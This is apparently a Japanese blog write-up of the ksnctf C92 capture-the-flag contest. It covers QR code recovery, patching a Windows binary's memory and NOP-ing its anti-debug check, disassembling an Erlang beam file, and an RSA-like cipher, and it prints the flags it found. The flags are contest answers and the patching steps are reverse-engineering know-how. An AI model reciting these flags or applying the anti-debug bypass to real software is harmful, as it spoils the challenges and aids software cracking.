Edited at

ksnctf C92 write-up

More than 1 year has passed since last update.


概要

※Qiita初投稿なので画像のアップロード制限に引っかかって全ての画像が載りません。

投稿後に更新するのでお待ち下さい......


※投稿してアップロード制限伸びたので、画像載せて更新しました。

画像のサイズが大きいので、適宜縮小表示したり、目次をご活用下さい。すみません......

https://ksnctfc92.sweetduet.info/

2017/7/11から2017/8/11まで行われていた@kusano_kさんによるCTFのwrite-upです。

このCTFは表面(合計256pt)と裏面(E1~E7のみ、合計768pt)に分かれていて、表面を全て解かないと裏面の問題は表示されません。

ランキング

全完(1024pt)して4位でした。


GATE 1pt

GATE    → 6473

SELF → 531F
DEFENCE → D3F3NC3
FORCES → F0RC35
FLAG{WELCOME_TO_KSNCTF_C92} → FLAG{?????????????????????}

l33t。素直に例の通り変換すればOK。

他にも例に出てないl33tの変換パターンも入力したら正答になったりするのかなぁとか入力して誤答増やしてたの私です。ごめんなさい。

FLAG{W31C0M3_70_K5NC7F_C92}


E1. Mysterious Light


表面 10pt

Mysterious Light 表面

一部が隠されたQRの画像を復元する問題。

大きく消えているところはQRコードの切り出しシンボルの部分なのでQRコードを見たことがあれば適当に復元できそう。

Mysterious Light 表面 答え

こんな感じでOK。

FLAG{QyDYkTQNd1lb1IDH}


裏面 50pt

Mysterious Light 裏面

※元画像は大きくてQiitaに乗らなかったので、1/4に縮小しています。

QRコードの誤り訂正レベル等のフォーマット情報が乗る部分だけ綺麗に消えてます。

QRコードのwrite-upを調べまくっていたら strong-qr-decoder (https://github.com/waidotto/strong-qr-decoder) という、強力なQRデコーダーツールを見つけました。

このツールの入力はテキスト化されたQRコードなので、QRコードをテキスト化しました。

using System;

using System.Collections.Generic;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;

namespace ConsoleApp
{
class Program
{
static void Main(string[] args)
{
// 入力Bitmap
using (Bitmap b = new Bitmap(@"C:\Users\arushiro\Downloads\flag2.png"))
// 出力Text
using (StreamWriter sr = new StreamWriter(@"C:\Users\arushiro\Downloads\flag2.qrtext"))
{
// 画像左上からQRコードの一番左上のセルの中心までの距離
int padding = 36;
// 1セルの大きさ
int size = 8;
// 明暗判定スレッショルド
int threshold = 100;
// 177x177の画像
for (int y = 0; y < 177; y++)
{
for (int x = 0; x < 177; x++)
{
Color c = b.GetPixel(padding + x * size, padding + y * size);
// 明度が100を超えている部分は白(_)
if (c.GetBrightness() * 256 > threshold)
sr.Write('_');
// 明度が100以下なら黒(x)
else
sr.Write('x');
}
sr.WriteLine();
}
}
}
}
}

コードが汚いのは許してください......

出力されたテキストから、元画像で隠された部分を?に手動で置き換えます。

今思えば彩度で自動判定すればよかった気がします。

xxxxxxx_?__xx__xx_xxx__x___xx__xx__x_xx_x__x_xxxxxx_xx_x__x_x__xxx_x_xx__x_x_____xxx______xx______xxxxx__xx__xxxx_x_x__xxxx___xx__xxx____xxx_x_xx__x_xxx___x_x__x___x_x___xxxxxxx

x_____x_?_xxxx__xxxxxx_x___xx_xx_xxxx__x_x_x__x_____x__x_xxx___xxxx_____x____x_xxxxxxx_x_x___xx_x_x___xxx__x_xxxxx_xx_____x________xxxx__xx__xxxx__x_xxxx_xx_x_x_x_xx_x_x_x_____x
x_xxx_x_?x___xxxxx_x__x_x_xxx__xx_xx_xxx_xxx_x__x__x____x____xxxxxx_x__x___xxx_xx__x_x_x___xxx__xx__xxx__xxx______x_xxx__xx_xx__x___x__x_x_x____x___xx____x____x_x__xxx___x_xxx_x
x_xxx_x_?_xx_x____x_________x_xx___xxx_x_x_xxx____x_xx_x_x__x____x__xx_xx_x_xx_x__x__x_x_xxxxxxx_xxx__x_xx__x_xxxxx_x____x___xxxx__x_x__xxx____xxx_xxx__x_xx_x____xx___xx_x_xxx_x
x_xxx_x_?_xxxxxxx_xx_xxxx__xxxxxx_xxx_xxxxxx_x____x___xxxxxxx_x___x_xx__x______xx_xxxxxxx___xx_x____x__xx_x_x_x_xxxxx_x__x_x_xxxx_xx___x_xxxxxxxx_x_x___x___x____xx_______x_xxx_x
x_____x_?xxx_xxxx_x_xxxxx___x___xx__x__xx_x__xxx_x__xxxxx___x___xx_x__xx__x_xx__xx_xx___x___x___xx_xx_xx_xx___xxx___xxxx_xxx_x_x_xx_xxx___xxx___xx_xx__________xx_____x_x_x_____x
xxxxxxx_?_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_x_xxxxxxx
________?x_x_xxxxxxx_xx_xx__x___x___x_xx____x_xxx_x__x__x___x_x__xxxxxxxxxx______x__x___x__x___xx__x__xx___x___xx___x__x__x__x_xx_xxx__x_x_xx___x_xxx____x_xxxxx_____x___________
?????????_x___xxx_xx____x___xxxxxx___xxxxx_x_x_____x_x_xxxxxx_xxxx_x___xx_xxx_______xxxxxxxxx_xx_xx_x_x__xxxxxx_xxxxxxx_x____x_x_xx____x___xxxxxx_xxxxx______xxxxxx__x_xx????????
~中略~
________xxx_x_x_x_xxx__xxxx_x___xx_x__x___xx_x___xx__xxxx___x___xxx_xx___x_xx___x___x___xxx______xx____x_x__xxx_x___xxxx___x_xxxxx_x__xx____x___xxx__x_x____x_x__xx_x_xxx___x__x_
xxxxxxx_?____xxxxx_____xxxx_x_x_xx__xxx__x_xx____x_xxx__x_x_xx__x_x_x__x__xxxxx__xx_x_x_xx____xxx_x__xx__xx__x__x_x_xxxxx__xx_x____x___xxx__x_x_x__xxx_x__xx_x_xx______xx_x_x_xx_
x_____x_?__x_xx____xx__xxx__x___x_x____x_x_____x___xx___x___x_xx_xxx_x___x__xx_x__x_x___xxx_xx___x__x____xxx_x__x___xxxxxx_xxx_x___xx______xx___xx___xxx_____x_x_xx_x___x___xxxxx
x_xxx_x_?__xxx_xx_x_______xxxxxxx__xx__xxxxx_xxxxx____xxxxxxx______x_xx__x_____x____xxxxx_xxx_xx_xx_____xxx__xxxxxxxxx____xxx____x__xxx____xxxxxxx___x__xx___x_xx___x___xxxxxx_xx
x_xxx_x_?_xx_x___x__xx___xxxx_xx____x_xx_xxxx____xx_xxxx___xxxxxx___xxx__x______xxxx____x_x_xxxx____x_____x__xxx__xx__xx__x_x_x___xx_xxxx__xxx_xx____x__x___x__x__x__xx____xxx_x_
x_xxx_x_?_______xx___x_____xx___x_____xx_____x_x_x_______x__x_x____xx__x_xxx_x_____x__x____x______x__xxxx_____xx__xx___x_x_x__xxxx__xxx_x_xx_xx_x____xx__xxxxxxx_xxx_xxxxx___x___
x_____x_?_x_xxx_x_x__x_x_xx_x_xxxx_x_xxx___xx____x_xxxxx___x____x_x_xxx_xx_xx__xxx_x__xx_x__xx_xxxxxx___x____xxxx_xxxxx_xx__x____xxxx__xxx_x_x___xxxx__xx___x_x_x___xx___xx_x___x
xxxxxxx_?_xxx__xx__xx___xx__xx_xx_x_xx_x____xx_x_x__x_____xxx_xxx_xxxxx___xx_x_xx______xx___xxx_x_xx_xx__xxx__x__xxxxxxxx__x___x_xxxxx__xx__x_xxx_x_x_xxxx____x_xxx__xxxxxx_x_x__

このようなテキストが出来るので、先程のデコーダーツールに適当にフォーマット指定して食べさせればフラグが出ます。

フォーマットは1つ1つ調べていきました。

$ ./sqrd.py ~/flag2.qrtext -e 2 -m 3 -n

FLAG{sttzFKrw6NY1VCd6zZrUL7f7bmba86f7B3f63XbZDAacbNfopNJpuyAsu0rHZ9KIrIBtYe0jg9jg4ke2rXg2dDWsoreTpTR31tSbFBVtxnzVIWyQIjfRQNswaYwG1tnM06MmtweK4fxMCrIKjB
7Id5Zo7g4Xe0VFJtXpS5LoIFifp7Zby3j2a4LAnaK3buZBc95WcaAzERfGX1aba70cYYA2WCVS36w5rFDYtC8YVqGfAbrM6nO5bU4AFupjmB5WOiToscqK38a3KQHNvNvN4I8YePjeEbxPBBHO3g141
EqskqODlOvoL7ZvWxwACyEJE62iaW18JTXd8ZvPupcVX1fc2pSyY68vTarClvEFX2WV3GMmK8rZUnhCWjfEuqxdfWnteD9FxzDedqwn3bvTUP8Mf2oGM0fxsa8R56n5jVP6o45U1tLTaWGjHiSHg4NE
C1y1aLLvqgdCfHJTUY2aRcfFUauR5NiJMYkqiKNe7h3FWt9PYEJTYeV8v93Iarv8sKLvELrVnxjbLB6QKoIYrSYgox71DLRw5Pipah68GPkKYjUKnYESxSfhtqI72hRZ3sIbi2O3g8W7jfK900lZVKX
QG3vqpRgynKcMQvIvOaryfwfiTq26g7SnuEvRpNxZbx0OOk3uws1tnYuKU9NyYnVI7RHU5tIPkFFvCFRI9ggBIAXDeIGa93vmQu01VoaKslimfE3e85A94F8EGmu7iQtVntUdq7EdAX7wJiZ3Z26aBj
ZxrLOQiCh5WL6mcDfIB8W9z5tCCf1aKbRrchTXMeN24bmextbzcp1MVs4gX9XTziS7oKxorCHSy7pNZsj39z4Y96lCkBFErtPxlSN9s5s9ZNVJK1LASOowu3Sea6IXA2SJsbqLT6j7tbVwpIb7TuhrX
zL6gLdquh57TgCX3ZBBQrFTCAUUu0xDakU7DTWOI2Rm2YoKxo4IFKQhin546VjG6MKLJsBWi7fvhnUNtrQM5fChIALMovG7uQMqhFbRSdUcRSayBzKQTjZP9sZGXc0ZiaXCo5OQMbJoKglrdJshqYep
RfjVpvXtLfvqOIuj85mKHJz2Yn3v1fcYO7hJ3k4phDDDyPVHcb4ZtcxfhEjH3XuSCcG2kfy1WMFRvnmbjGr6K7In3JTULqQxpxCuM4aFJy2AlS23jclhFbhGkCDMVHu0CGzmnOM56IouIsC29LTqdsA
j5W1ts8zbBiIDNCNW8xxXUSAZN52tUc2jXK29sxZaz65HDLjGlphb5wavmq6t4Ez}

FLAG{sttzFKrw6NY1VCd6zZrUL7f7bmba86f7B3f63XbZDAacbNfopNJpuyAsu0rHZ9KIrIBtYe0jg9jg4ke2rXg2dDWsoreTpTR31tSbFBVtxnzVIWyQIjfRQNswaYwG1tnM06MmtweK4fxMCrIKjB7Id5Zo7g4Xe0VFJtXpS5LoIFifp7Zby3j2a4LAnaK3buZBc95WcaAzERfGX1aba70cYYA2WCVS36w5rFDYtC8YVqGfAbrM6nO5bU4AFupjmB5WOiToscqK38a3KQHNvNvN4I8YePjeEbxPBBHO3g141EqskqODlOvoL7ZvWxwACyEJE62iaW18JTXd8ZvPupcVX1fc2pSyY68vTarClvEFX2WV3GMmK8rZUnhCWjfEuqxdfWnteD9FxzDedqwn3bvTUP8Mf2oGM0fxsa8R56n5jVP6o45U1tLTaWGjHiSHg4NEC1y1aLLvqgdCfHJTUY2aRcfFUauR5NiJMYkqiKNe7h3FWt9PYEJTYeV8v93Iarv8sKLvELrVnxjbLB6QKoIYrSYgox71DLRw5Pipah68GPkKYjUKnYESxSfhtqI72hRZ3sIbi2O3g8W7jfK900lZVKXQG3vqpRgynKcMQvIvOaryfwfiTq26g7SnuEvRpNxZbx0OOk3uws1tnYuKU9NyYnVI7RHU5tIPkFFvCFRI9ggBIAXDeIGa93vmQu01VoaKslimfE3e85A94F8EGmu7iQtVntUdq7EdAX7wJiZ3Z26aBjZxrLOQiCh5WL6mcDfIB8W9z5tCCf1aKbRrchTXMeN24bmextbzcp1MVs4gX9XTziS7oKxorCHSy7pNZsj39z4Y96lCkBFErtPxlSN9s5s9ZNVJK1LASOowu3Sea6IXA2SJsbqLT6j7tbVwpIb7TuhrXzL6gLdquh57TgCX3ZBBQrFTCAUUu0xDakU7DTWOI2Rm2YoKxo4IFKQhin546VjG6MKLJsBWi7fvhnUNtrQM5fChIALMovG7uQMqhFbRSdUcRSayBzKQTjZP9sZGXc0ZiaXCo5OQMbJoKglrdJshqYepRfjVpvXtLfvqOIuj85mKHJz2Yn3v1fcYO7hJ3k4phDDDyPVHcb4ZtcxfhEjH3XuSCcG2kfy1WMFRvnmbjGr6K7In3JTULqQxpxCuM4aFJy2AlS23jclhFbhGkCDMVHu0CGzmnOM56IouIsC29LTqdsAj5W1ts8zbBiIDNCNW8xxXUSAZN52tUc2jXK29sxZaz65HDLjGlphb5wavmq6t4Ez}


E2. 砂漠の中の1本のフラグ


表面 20pt

砂漠の中の1本のフラグ

x64なWindowsアプリのrev問。

16819585654921967928, 9709471222094771744にフラグがあります

とあるので、歩数を保存しているところを探します。

初期位置は0x8000000000000000, 0x8000000000000000なので、大きさ的に恐らくunsignedなint64で値が保存されています。

うさみみハリケーン (http://www.vector.co.jp/soft/win95/prog/se375830.html) を利用して1歩動かして数値が変わった場所を調べるなどを数回すると歩数の保存されている場所がわかります。

歩数

.data領域の先頭の方に歩数が保存されています。

ここを0xE96B2C0A06E13938, 0x86BEF8A22DD63620に書き換えればOK。

リトルエンディアンなので注意して下さい。

砂漠 表面



FLAG{9729512216727087}


裏面 120pt

同じようなフラグがどこかにもう1本あります

らしいのでプログラムの処理構造を調べることにしました。

デバッガ起動して実行するとデバッグ検知で終了してしまうが、検知部分をNOP埋めすればデバッグできるようになります。

NOP埋め

こんな感じ。

マップが何かしらの構造で保存されているのはわかるがいまいちよくわからない......

x64dbg(https://x64dbg.com/) で動的解析を進めているとどうやら、xの座標とyの座標のbitを上から見ていき、xのbit+yのbit*2に現在マップを足したところにあるマップ番号が次のマップ参照になるらしいことがわかった。

ようやくここでマップ構造が、

マップ番号0でxのbit+yのbit*2==0 マップ番号0でxのbit+yのbit*2==1

マップ番号0でxのbit+yのbit*2==2 マップ番号0でxのbit+yのbit*2==3
マップ番号1でxのbit+yのbit*2==0 マップ番号1でxのbit+yのbit*2==1
マップ番号1でxのbit+yのbit*2==2 マップ番号1でxのbit+yのbit*2==3

のようになっていることに気付きました。

該当部分のFFFF~FFFFのようになっている部分は未定義マップで、全て辿りきったあとのノードが地形情報(03や06等が連続している所)みたいです。

2分木の4つバージョンだ!と思ったけれど、これはどうやら4分木というらしいです。

先頭から辿るのは面倒だったので、マップ番号37の位置の38に遷移するマップ情報を16dに遷移するように書き換えて、表面の座標からx座標の16進数の下2桁を40、y座標の16進数の下2桁を85になるように書き換えるとフラグにたどり着きました。

(※最初LSBって書いてましたが、冷静に考えたらLSBじゃなかったので変更しました......)

image35.png

FLAG{8703219617354016}


E3. e


表面 40pt

Erlangのbeamファイルが渡されるのでよしなにする問題。

ちょっと解析するとget_flagという関数があるので、実行するとフラグが出ました。

$ erl

Erlang R16B03 (erts-5.10.4) [source] [64-bit] [async-threads:10] [kernel-poll:false]

Eshell V5.10.4 (abort with ^G)
1> l(e).
{module,e}
2> e:get_flag().
<<"FLAG{8YDxdZTCAsugdBEv}">>

FLAG{8YDxdZTCAsugdBEv}


裏面 110pt

Erlangのbeamファイルをちゃんと解析する必要があり、

http://d.hatena.ne.jp/moriyoshi/20091111/1257970787http://qiita.com/melpon/items/2e96caf2bfaebbd46bb3 の情報を参考にしながらディスアセンブルしました。

{beam_file,e,

[{calc_e,1,2},
{code_change,3,51},
{get_flag,0,7},
{handle_call,3,40},
{handle_cast,2,45},
{handle_info,2,47},
{init,1,38},
{input_pin,2,36},
{module_info,0,55},
{module_info,1,57},
{start_link,0,34},
{terminate,2,49}],
[{behaviour,[gen_server]},{vsn,[184379510389961741194651820065576642832]}],
[{options,[]},
{version,"7.0.4"},
{source,"c:/documents/git/ksnctfc92/ksnctfc92_problem/E3/e.erl"}],
[{function,calc_e,1,2,
[{label,1},
{line,1},
{func_info,{atom,e},{atom,calc_e},1},
{label,2},
{move,{integer,1},{x,3}},
{move,{float,1.0},{x,2}},
{move,{float,0.0},{x,4}},
{move,{float,1.0},{x,1}},
{call_only,5,{e,calc_e,5}}]},
{function,calc_e,5,4,
[{line,2},
{label,3},
{func_info,{atom,e},{atom,calc_e},5},
{label,4},
{test,is_eq_exact,{f,5},[{x,3},{integer,100}]},
{move,{x,4},{x,0}},
return,
{label,5},
{line,3},
{gc_bif,'*',{f,0},5,[{x,1},{x,0}],{x,5}},
{line,3},
{gc_bif,'*',{f,0},6,[{x,2},{x,3}],{x,6}},
{line,3},
{gc_bif,'+',{f,0},7,[{x,3},{integer,1}],{x,3}},
{line,3},
{fconv,{x,1},{fr,0}},
{fconv,{x,2},{fr,1}},
fclearerror,
{arithfbif,fdiv,{f,0},[{fr,0},{fr,1}],{fr,0}},
{line,3},
{test_heap,{alloc,[{words,0},{floats,1}]},7},
{fconv,{x,4},{fr,2}},
{arithfbif,fadd,{f,0},[{fr,2},{fr,0}],{fr,2}},
{fcheckerror,{f,0}},
{move,{x,6},{x,2}},
{move,{x,5},{x,1}},
{fmove,{fr,2},{x,4}},
{call_only,5,{e,calc_e,5}}]},
{function,get_flag,0,7,
[{line,4},
{label,6},
{func_info,{atom,e},{atom,get_flag},0},
{label,7},
{move,nil,{x,1}},
{move,{integer,8},{x,0}},
{call_only,2,{e,get_flag,2}}]},
{function,get_flag,2,9,
[{line,5},
{label,8},
{func_info,{atom,e},{atom,get_flag},2},
{label,9},
{test,is_integer,{f,8},[{x,0}]},
{select_val,
{x,0},
{f,8},
{list,
[{integer,8},
{f,10},
{integer,5},
{f,11},
{integer,4},
{f,12},
{integer,10},
{f,13},
{integer,16},
{f,14},
{integer,6},
{f,15},
{integer,2},
{f,16},
{integer,18},
{f,17},
{integer,11},
{f,18},
{integer,0},
{f,19},
{integer,14},
{f,20},
{integer,21},
{f,21},
{integer,19},
{f,22},
{integer,22},
{f,23},
{integer,3},
{f,24},
{integer,20},
{f,25},
{integer,13},
{f,26},
{integer,12},
{f,27},
{integer,7},
{f,28},
{integer,1},
{f,29},
{integer,17},
{f,30},
{integer,9},
{f,31},
{integer,15},
{f,32}]}},
{label,10},
{test_heap,2,2},
{put_list,{integer,125},{x,1},{x,1}},
{move,{integer,10},{x,0}},
{call_only,2,{e,get_flag,2}},
{label,11},
{test_heap,2,2},
{put_list,{integer,123},{x,1},{x,1}},
{move,{integer,22},{x,0}},
{call_only,2,{e,get_flag,2}},
{label,12},
{test_heap,2,2},
{put_list,{integer,120},{x,1},{x,1}},
{move,{integer,13},{x,0}},
{call_only,2,{e,get_flag,2}},
{label,13},
{test_heap,2,2},
{put_list,{integer,118},{x,1},{x,1}},
{move,{integer,20},{x,0}},
{call_only,2,{e,get_flag,2}},
{label,14},
{test_heap,2,2},
{put_list,{integer,117},{x,1},{x,1}},
{move,{integer,6},{x,0}},
{call_only,2,{e,get_flag,2}},
{label,15},
{test_heap,2,2},
{put_list,{integer,115},{x,1},{x,1}},
{move,{integer,17},{x,0}},
{call_only,2,{e,get_flag,2}},
{label,16},
{test_heap,2,2},
{put_list,{integer,103},{x,1},{x,1}},
{move,{integer,16},{x,0}},
{call_only,2,{e,get_flag,2}},
{label,17},
{test_heap,2,2},
{put_list,{integer,100},{x,1},{x,1}},
{move,{integer,4},{x,0}},
{call_only,2,{e,get_flag,2}},
{label,18},
{test_heap,2,2},
{put_list,{integer,100},{x,1},{x,1}},
{move,{integer,2},{x,0}},
{call_only,2,{e,get_flag,2}},
{label,19},
{test_heap,2,2},
{put_list,{integer,90},{x,1},{x,1}},
{move,{integer,18},{x,0}},
{call_only,2,{e,get_flag,2}},
{label,20},
{test_heap,2,2},
{put_list,{integer,89},{x,1},{x,1}},
{move,{integer,9},{x,0}},
{call_only,2,{e,get_flag,2}},
{label,21},
{test_heap,2,2},
{put_list,{integer,84},{x,1},{x,1}},
{move,{integer,0},{x,0}},
{call_only,2,{e,get_flag,2}},
{label,22},
{test_heap,2,2},
{put_list,{integer,76},{x,1},{x,1}},
{move,{integer,3},{x,0}},
{call_only,2,{e,get_flag,2}},
{label,23},
{test_heap,2,2},
{put_list,{integer,71},{x,1},{x,1}},
{move,{integer,1},{x,0}},
{call_only,2,{e,get_flag,2}},
{label,24},
{test_heap,2,2},
{put_list,{integer,70},{x,1},{x,1}},
{move,{integer,15},{x,0}},
{call_only,2,{e,get_flag,2}},
{label,25},
{test_heap,2,2},
{put_list,{integer,69},{x,1},{x,1}},
{move,{integer,7},{x,0}},
{call_only,2,{e,get_flag,2}},
{label,26},
{test_heap,2,2},
{put_list,{integer,68},{x,1},{x,1}},
{move,{integer,14},{x,0}},
{call_only,2,{e,get_flag,2}},
{label,27},
{test_heap,2,2},
{put_list,{integer,67},{x,1},{x,1}},
{move,{integer,21},{x,0}},
{call_only,2,{e,get_flag,2}},
{label,28},
{test_heap,2,2},
{put_list,{integer,66},{x,1},{x,1}},
{move,{integer,11},{x,0}},
{call_only,2,{e,get_flag,2}},
{label,29},
{test_heap,2,2},
{put_list,{integer,65},{x,1},{x,1}},
{move,{integer,19},{x,0}},
{call_only,2,{e,get_flag,2}},
{label,30},
{test_heap,2,2},
{put_list,{integer,65},{x,1},{x,1}},
{move,{integer,12},{x,0}},
{call_only,2,{e,get_flag,2}},
{label,31},
{test_heap,2,2},
{put_list,{integer,56},{x,1},{x,1}},
{move,{integer,5},{x,0}},
{call_only,2,{e,get_flag,2}},
{label,32},
{move,{x,1},{x,0}},
{line,6},
{call_ext_only,1,{extfunc,erlang,list_to_binary,1}}]},
{function,start_link,0,34,
[{line,7},
{label,33},
{func_info,{atom,e},{atom,start_link},0},
{label,34},
{move,nil,{x,1}},
{move,nil,{x,2}},
{move,{atom,e},{x,0}},
{line,8},
{call_ext_only,3,{extfunc,gen_server,start_link,3}}]},
{function,input_pin,2,36,
[{line,9},
{label,35},
{func_info,{atom,e},{atom,input_pin},2},
{label,36},
{test_heap,3,2},
{put_tuple,2,{x,2}},
{put,{atom,input_pin}},
{put,{x,1}},
{move,{x,2},{x,1}},
{line,10},
{call_ext_only,2,{extfunc,gen_server,call,2}}]},
{function,init,1,38,
[{line,11},
{label,37},
{func_info,{atom,e},{atom,init},1},
{label,38},
{test,is_nil,{f,37},[{x,0}]},
{move,{literal,{ok,{state,0}}},{x,0}},
return]},
{function,handle_call,3,40,
[{line,12},
{label,39},
{func_info,{atom,e},{atom,handle_call},3},
{label,40},
{test,is_tuple,{f,43},[{x,0}]},
{test,test_arity,{f,43},[{x,0},2]},
{get_tuple_element,{x,0},0,{x,1}},
{test,is_eq_exact,{f,43},[{x,1},{atom,input_pin}]},
{test,is_tuple,{f,43},[{x,2}]},
{test,test_arity,{f,43},[{x,2},2]},
{get_tuple_element,{x,0},1,{x,3}},
{get_tuple_element,{x,2},0,{x,4}},
{test,is_eq_exact,{f,43},[{x,4},{atom,state}]},
{allocate,0,4},
{get_tuple_element,{x,2},1,{x,5}},
{bif,'==',{f,42},[{x,5},{integer,0}],{x,0}},
{bif,'==',{f,42},[{x,3},{integer,9717}],{x,1}},
{bif,'and',{f,42},[{x,0},{x,1}],{x,0}},
{bif,'==',{f,42},[{x,5},{integer,1}],{x,1}},
{bif,'==',{f,42},[{x,3},{integer,1498}],{x,2}},
{bif,'and',{f,42},[{x,1},{x,2}],{x,1}},
{bif,'==',{f,42},[{x,5},{integer,2}],{x,2}},
{bif,'==',{f,42},[{x,3},{integer,8030}],{x,4}},
{bif,'and',{f,42},[{x,2},{x,4}],{x,2}},
{bif,'==',{f,42},[{x,5},{integer,3}],{x,4}},
{bif,'==',{f,42},[{x,3},{integer,3280}],{x,6}},
{bif,'and',{f,42},[{x,4},{x,6}],{x,4}},
{bif,'==',{f,42},[{x,5},{integer,4}],{x,6}},
{bif,'==',{f,42},[{x,3},{integer,572}],{x,7}},
{bif,'and',{f,42},[{x,6},{x,7}],{x,6}},
{bif,'==',{f,42},[{x,5},{integer,5}],{x,7}},
{bif,'==',{f,42},[{x,3},{integer,8628}],{x,8}},
{bif,'and',{f,42},[{x,7},{x,8}],{x,7}},
{bif,'==',{f,42},[{x,5},{integer,6}],{x,8}},
{bif,'==',{f,42},[{x,3},{integer,4294}],{x,9}},
{bif,'and',{f,42},[{x,8},{x,9}],{x,8}},
{bif,'==',{f,42},[{x,5},{integer,7}],{x,9}},
{bif,'==',{f,42},[{x,3},{integer,8001}],{x,10}},
{bif,'and',{f,42},[{x,9},{x,10}],{x,9}},
{bif,'or',{f,42},[{x,8},{x,9}],{x,8}},
{bif,'or',{f,42},[{x,7},{x,8}],{x,7}},
{bif,'or',{f,42},[{x,6},{x,7}],{x,6}},
{bif,'or',{f,42},[{x,4},{x,6}],{x,4}},
{bif,'or',{f,42},[{x,2},{x,4}],{x,2}},
{bif,'or',{f,42},[{x,1},{x,2}],{x,1}},
{bif,'or',{f,42},[{x,0},{x,1}],{x,0}},
{test,is_eq_exact,{f,42},[{x,0},{atom,true}]},
{test,is_eq_exact,{f,41},[{x,5},{integer,7}]},
{line,13},
{call,0,{e,f,0}},
{test_heap,4,1},
{put_tuple,3,{x,1}},
{put,{atom,reply}},
{put,{x,0}},
{put,{literal,{state,0}}},
{move,{x,1},{x,0}},
{deallocate,0},
return,
{label,41},
{line,14},
{gc_bif,'+',{f,0},6,[{x,5},{integer,1}],{x,0}},
{test_heap,7,6},
{put_tuple,2,{x,1}},
{put,{atom,state}},
{put,{x,0}},
{put_tuple,3,{x,0}},
{put,{atom,reply}},
{put,{atom,ok}},
{put,{x,1}},
{deallocate,0},
return,
{label,42},
{move,{literal,{reply,ok,{state,0}}},{x,0}},
{deallocate,0},
return,
{label,43},
{test_heap,4,3},
{put_tuple,3,{x,0}},
{put,{atom,reply}},
{put,{atom,error}},
{put,{x,2}},
return]},
{function,handle_cast,2,45,
[{line,15},
{label,44},
{func_info,{atom,e},{atom,handle_cast},2},
{label,45},
{test_heap,3,2},
{put_tuple,2,{x,0}},
{put,{atom,noreply}},
{put,{x,1}},
return]},
{function,handle_info,2,47,
[{line,16},
{label,46},
{func_info,{atom,e},{atom,handle_info},2},
{label,47},
{test_heap,3,2},
{put_tuple,2,{x,0}},
{put,{atom,noreply}},
{put,{x,1}},
return]},
{function,terminate,2,49,
[{line,17},
{label,48},
{func_info,{atom,e},{atom,terminate},2},
{label,49},
{move,{atom,ok},{x,0}},
return]},
{function,code_change,3,51,
[{line,18},
{label,50},
{func_info,{atom,e},{atom,code_change},3},
{label,51},
{test_heap,3,2},
{put_tuple,2,{x,0}},
{put,{atom,ok}},
{put,{x,1}},
return]},
{function,f,0,53,
[{line,19},
{label,52},
{func_info,{atom,e},{atom,f},0},
{label,53},
{allocate,0,0},
{move,
{literal,
[4.255612709818223,4.33729074083249,4.182050142641207,
4.269697449699962,4.816241156068032,4.448516375942715,
4.269697449699962,4.505349850705881,4.412798293340635,
4.757891273005756,4.182050142641207,4.791649752930709,
3.9415818076696905,4.791649752930709,4.7140245909001735,
4.4942386252808095,4.436751534363128,4.774912960575186,
4.283586561860629,4.363098624788363,4.740574822994295,
4.832305758571839]},
{x,0}},
{line,20},
{call,1,{e,'-f/0-lc$^0/1-0-',1}},
{line,20},
{call_ext_last,1,{extfunc,erlang,list_to_binary,1},0}]},
{function,module_info,0,55,
[{line,0},
{label,54},
{func_info,{atom,e},{atom,module_info},0},
{label,55},
{move,{atom,e},{x,0}},
{line,0},
{call_ext_only,1,{extfunc,erlang,get_module_info,1}}]},
{function,module_info,1,57,
[{line,0},
{label,56},
{func_info,{atom,e},{atom,module_info},1},
{label,57},
{move,{x,0},{x,1}},
{move,{atom,e},{x,0}},
{line,0},
{call_ext_only,2,{extfunc,erlang,get_module_info,2}}]},
{function,'-f/0-lc$^0/1-0-',1,59,
[{line,20},
{label,58},
{func_info,{atom,e},{atom,'-f/0-lc$^0/1-0-'},1},
{label,59},
{test,is_nonempty_list,{f,60},[{x,0}]},
{allocate,1,1},
{get_list,{x,0},{x,0},{y,0}},
{line,20},
{call,1,{e,calc_e,1}},
{line,20},
{gc_bif,trunc,{f,0},1,[{x,0}],{x,1}},
{move,{y,0},{x,0}},
{move,{x,1},{y,0}},
{line,20},
{call,1,{e,'-f/0-lc$^0/1-0-',1}},
{test_heap,2,1},
{put_list,{y,0},{x,0},{x,0}},
{deallocate,1},
return,
{label,60},
{test,is_nil,{f,58},[{x,0}]},
return]}]}.

紙に印刷して色々処理を巡ってみると、

l(e).でモジュールロード、e:init([]).で初期化して、e:handle_call({input_pin, <pin>}, {}, {state, <state_number>}).を延々とやるとデコードされるらしいとみえました。

<pin>,<state_number>の組は、

pin
state_number

9717
0

1498
1

8030
2

3280
3

572
4

8628
5

4294
6

8001
7

で、全て打ち終わると、フラグが出力される。

150> e:handle_call({input_pin, 9717},{},{state, 0}).

{reply,ok,{state,1}}
151> e:handle_call({input_pin, 1498},{},{state, 1}).
{reply,ok,{state,2}}
152> e:handle_call({input_pin, 8030},{},{state, 2}).
{reply,ok,{state,3}}
153> e:handle_call({input_pin, 3280},{},{state, 3}).
{reply,ok,{state,4}}
154> e:handle_call({input_pin, 572},{},{state, 4}).
{reply,ok,{state,5}}
155> e:handle_call({input_pin, 8628},{},{state, 5}).
{reply,ok,{state,6}}
156> e:handle_call({input_pin, 4294},{},{state, 6}).
{reply,ok,{state,7}}
157> e:handle_call({input_pin, 8001},{},{state, 7}).
{reply,<<"FLAG{UGZRtAx3xoYTvHNr}">>,{state,0}}

FLAG{UGZRtAx3xoYTvHNr}


E4. ララ・セリーヌ・秋穂


表面 40pt

RSAもどき。

n = pq\\

d = e^{\phi(n)-1} \: mod \: n\\
C = Pe \: mod \: n\\
P = Cd \: mod \: n

フェルマーの小定理により、

ed = 1 \: mod \: n

なので、このRSAもどきは成り立つ(と思うけど数学弱者で合ってるかわからないので間違ってたら誰か指摘して下さい......)

mod nなので、拡張ユークリッドの互除法により、

nx + ed = 1

より、dが計算可能。dが分かればCとdをかけてmod nを取ればPも計算可能です。

